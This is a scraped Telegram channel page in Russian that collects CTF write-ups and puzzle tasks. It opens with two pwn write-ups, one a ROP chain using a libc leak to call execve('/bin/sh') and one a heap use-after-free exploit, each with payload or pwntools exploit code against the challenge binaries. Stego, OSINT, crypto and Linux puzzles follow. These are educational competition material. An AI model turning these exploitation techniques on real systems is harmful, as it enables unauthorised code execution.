Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
exploit.py
1.1 KB
#pwn
PolyCTF. Write-up "Luxury" от @wcovkej

Итак, первым делом проверим наш файл через checksec:

RELRO           STACK CANARY      NX            PIE            RPATH      RUNPATH      Symbols         FORTIFY

Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   49 Symbols        No

Канарейки нет, уже хорошо, но зато включен PIE, значит адреса функций каждый раз разные. Запомним.

Теперь кратко разберем, как работает программа:

1) Просит ввести пароль и логин. В данном случае логин - admin, пароль - V3rY_sTroNg_p1ss

2) Как только мы залогинились, у нас доступен основной функционал: вывод адресов функций, в том числе и функции login.

Если мы хорошо посмотрим, то в функции login есть переполнение буфера, а именно на вводе пароля. Массив под пароль 32 байта, а вводим мы 112. Также через ropper узнаем, что в таске есть аж целых 5 гаджетов! pop (rdi, rsi, rdx, rax), а также syscall. Интересно, но что дальше?

Наша цель - вызвать /bin/sh. Для этого нам нужно построить ROP цепочку: загрузить в rax число 0x3b (execve), в rdi адрес строки /bin/sh, rsi и rdx занулить, вызвать syscall ===> получаем шелл! Но не всё так просто :)

Во-первых, мы не знаем точных адресов гаджетов (включен PIE), во-вторых, в коде нет строки /bin/sh, поэтому нам нужно взять ее из libc, а для этого нужно ее ликнуть.

Эксплоит я отправлю отдельно файлом, здесь я вкратце распишу его алгоритм:

1) Логинимся, далее получаем адрес printf, puts, fgets и идем в libc.blukat.me, вбиваем все три функции, указываем последние три символа адресов и находим версию LIBC. Таким образом мы определили точную версию либы и теперь знаем все смещения. Прибавляем к адресу printf число 0x143a81 и получаем адрес строки /bin/sh.

2) Далее нам нужно узнать адреса гаджетов. Для этого получаем адрес функции login и вычитаем его оффсет, который взяли из IDA. Вычитаем 0x1179 и получаем адрес базы программы. Теперь вычисляем адреса для всех 5 гаджетов:

pop_rdi = base_addr + 0x1460
pop_rax = base_addr + 0x1464
pop_rsi = base_addr + 0x1462
pop_rdx = base_addr + 0x1468
syscall = base_addr + 0x1466

3) Всё готово! Теперь составляем пейлоад и отправляем серваку:

pl = b'A' * 40
pl += p64(pop_rax)
pl += p64(0x3b)
pl += p64(pop_rdi)
pl += p64(binsh_addr)
pl += p64(pop_rdx)
pl += p64(0)
pl += p64(pop_rsi)
pl += p64(0)
pl += p64(syscall)

Получаем шелл и читаем флаг. Nice!
10
writeup.md
3.7 KB
#pwn
PolyCTF. Write-up "hotel" от @tonysdx

Задача на эксплуатацию хипы, а именно UAF и Type Confusion.

Зайдя в таск и немного пореверсив, мы обнаруживаем, что у нас есть следующая структура:
struct user
{
  char gap[16];
  long some_number;
  char *login;
  char *password;
};

В функциях регистрации и логина уязвимостей нет (разве что введя 128-байтовый пароль, мы можем переписать первый байт логина на 0, но это нам ничего не даст), копаем дальше.

Также есть функция read_secret, при вызове которой проверяется, что some_number у curr_user равен 31337. Легально мы получить такое значение не можем, поэтому надо эксплуатировать чанки.

Главная уязвимость кроется в функции delete_user. Суть в том, что для пользователя выделяется чанк, размером в 40 байт. Однако при удалении, мы не выходим из аккаунта и поинтер curr_user после освобождения при помощи free указывает на освобожденный чанк.

Просмотрев код далее мы находим, что в функции write_msg мы можем контролировать размер выделяемого под сообщение чанка, что открывает возможность для эксплуатации ранее найденной уязвимости. Суть в том, что на месте освобожденного чанка при следующем вызове malloc будет аллоцирован новый чанк, если там будет достаточно места. В нашем случае, освобождая чанк размером в 40 байт, мы можем аллоцировать чанк сообщения с таким же размером (чтобы места точно хватило), и тогда curr_user будет указывать на новый чанк сообщения, данные внутри которого мы контролируем. То есть в теле сообщения мы можем создать фейковую структуру пользователя, у которого some_number будет равен 31337.

Алгоритм следующий:

1) Регистрируемся и заходим в аккаунт
2) Удаляем пользователя
3) Создаем сообщение размером в 40 байт (такое же по размеру, как и чанк пользователя)
4) В сообщении создаем структуру пользователя, у которого some_number равен 31337
5) Вызываем скрытый 5 пункт меню, проходим проверку и получаем флаг

Пример сплоита:
io = remote("host", port)

def choice(index: int):
    io.sendlineafter(b"> ", b"%d" % index)

# Register
choice(2)
io.sendlineafter(b": ", b"h4ck3r")
io.sendlineafter(b": ", b"h4ck3r")

# Login
choice(1)
io.sendlineafter(b": ", b"h4ck3r")
io.sendlineafter(b": ", b"h4ck3r")

# Delete user
choice(3)

# Create message with size as user
user_struct = flat({
    0: b"chill guy",
    16: p64(31337)
})
choice(1)
io.sendlineafter(b": ", b"40")
io.sendlineafter(b": ", user_struct)

# Secret read flag
choice(5)

io.interactive()
13
drawing.wav
172.3 KB
#stegano
Сигнал из атомов

15 декабря 3479 года было синтезировано вещество, способное излучать звуковые сигналы, которые, по всей видимости, содержат скрытое сообщение. Нам удалось записать часть этих сигналов.

Формат флага: KFCctf{...}

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
5🔥1🗿1
task.py
4.7 KB
#misc
КОД-ДНК

Просто еще один инструмент для обфускации кода :)

Формат флага: KFCctf{}

Хинт:
AA-0
AC-1
...
TT-F

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
👍4🗿3💊31🙊1
Убрали новогодние таски из бота. Четыре из них были перенесены в раздел основных тасков платформы:

Дерево Санты

Сообщение от Санты

Караоке

Santa Game

Флаги для этих тасков остались прежними, и вы можете сдать их повторно, чтобы заработать баллы!
5
Forwarded from PolyCTF
🚩 Write-ups на PolyWinterCTF 2025! 🚩

Друзья, рады поделиться райтапами с прошедшего PolyWinterCTF! 🎯 Было множество интересных заданий, нестандартных решений и неожиданных подходов к их выполнению.

🔗 Ссылка на райтапы

Спасибо всем участникам и до встречи на следующих соревнованиях! 🔥
Please open Telegram to view this post
VIEW IN TELEGRAM
9
Вы все такие классные
Как мне с вами всеми повезло ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥14🥰75😁2💯1
Продолжаем рубрику #делимсятасками

@Max_RSC в нашем уютном чате поделился интересным таском с замечательной платформы DECIPHER, и двое человек уже успели его решить. К сожалению, многие подписчики нашего канала не увидели этот таск, давайте это исправим!

Мы сделали выводы из предыдущего опыта и на этот раз предусмотрительно изменили название таски, поскольку в тот раз вместо криптоаналитиков пришли осинтеры и наосинтили райтап.

#crypto
1 Key Strategy for 26 Days of Transformation
 
9 111 55555555 33 00 55555555 9 11111 11 77777 333333333 888 1 11 55 4 5555555 9

Хинт: Название таска – это попытка автора намекнуть на что-то.

Присылайте решение @Max_RSC

Не забываем также решать предыдущее задание в этой рубрике!
10👍2
Здравствуйте!

Бесплатных квантовых вычислений не хотите?

В Майямске уже школьники на квантовых компах домашки делают, а мы все с ГДЗ списываем и нейронки палкой тыкаем..
🤩3🥴2
image_2025-02-10_22-06-27.png
708.3 KB
#osint
Замок

В одной из самых грязных деревень был построен замок для двух известных личностей.

Ваша задача — выяснить, сколько миллионов долларов (например: 100) было затрачено на строительство этого замка, а также в какой стране он находится.

Формат флага: ctf{Price_Country}

Автор: @yarik_shop

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
👍105😁5🥱3🔥1👌1
image.png
171.6 KB
#misc
ШредерAPP 2

Я сделал выводы из своего прошлого опыта и купил новый шредер, но, как выяснилось, он тоже уязвим к восстановлению данных. В результате злоумышленник сумел восстановить картинку и узнать мой пароль от...

Формат флага: KFCctf{}

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
🌭7👍3
Хвастаюсь 🏄‍♂️

Я выиграл 100 звезд
Вот это шок…
Мой первый конкурс где я выиграл
Спасибо Олег!

Вот кстати его большой и крутой канал
https://t.me/haccking
Please open Telegram to view this post
VIEW IN TELEGRAM
👍94🥱3
#misc
Нестандартный QR-code

Вчера моему другу пришел QR-код, в сообщении упоминалась антискан вотермарка и что-то еще.

Формат флага: KFCctf{}.

Хинт: He1Lo=hE1lO

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
3👍1😁1👌1🗿1
#quest
Цикада 3301 (remix)

Сегодня я получил на свою электронную почту письмо, содержащее изображение, которое я прикрепил к посту, а также следующую ссылку:

https://picode.pythonanywhere.com/Cicada3301

Формат флага: KFCctf{}

Хинт: Может быть, стоит более внимательно изучить исходный код страницы?

Автор: @while_not_False

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot
🖕5👍3🗿21
Друзья, в ближайшие дни мы будем повторно публиковать старые таски, и просим вас не удивляться этому. Цель — поднять качество контента на совершенно новый уровень. Теперь задания будут включать отредактированные описания, подготовленные нашим дорогим редактором @Max_RSC. Просим понять и простить за возможные неудобства.

Также хотим вас заверить, что ваши баллы, накопленные непосильным трудом, останутся в безопасности и не подвергнутся изменениям.

Авторам тасков: если у вас возникнут вопросы или замечания по поводу внесенных изменений, обращайтесь напрямую к @Max_RSC. Мы уверены, что сможем найти решение, которое устроит всех.
👍74🌚1
#linuxadministration
Linuх для PROдвинутых 1

Вывести на stdout список директорий, содержащих хотя бы один файл с расширением .js. Искать в текущем каталоге и его подкаталогах, текущий каталог НЕ является корневым. Выводить только уникальные директории без дубликатов. Под списком директорий подразумеваются пути к этим директориям.

Присылайте решение автору @Max_RSC, он предоставит флаг, который затем нужно будет сдать боту @writeup_ctf_bot
7👌1
#linuxadministration
Linuх для PROдвинутых 2

В каталоге my_folder находятся два файла с одинаковым содержимым, но с разными именами. Задача — найти дублирующиеся файлы, основываясь на их хеш-суммах (MD5).

• Рабочий каталог — my_folder, то есть вы уже находитесь в этом каталоге и переходить в него не требуется
• Гарантируется, что в каталоге my_folder есть по крайней мере два файла с одинаковым содержимым
• Допускается использование двух последовательных команд для выполнения задания

Хинт: find my_folder [команды] – это неправильное решение. Вы уже находитесь в каталоге my_folder.

Присылайте решение автору @Max_RSC, он предоставит флаг, который затем нужно будет сдать боту @writeup_ctf_bot
7👌1